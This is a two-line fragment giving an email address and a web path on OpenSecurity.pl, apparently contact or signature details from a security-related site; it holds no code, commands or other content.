kuba@OpenSecurity.pl

OpenSecurity.pl/psm
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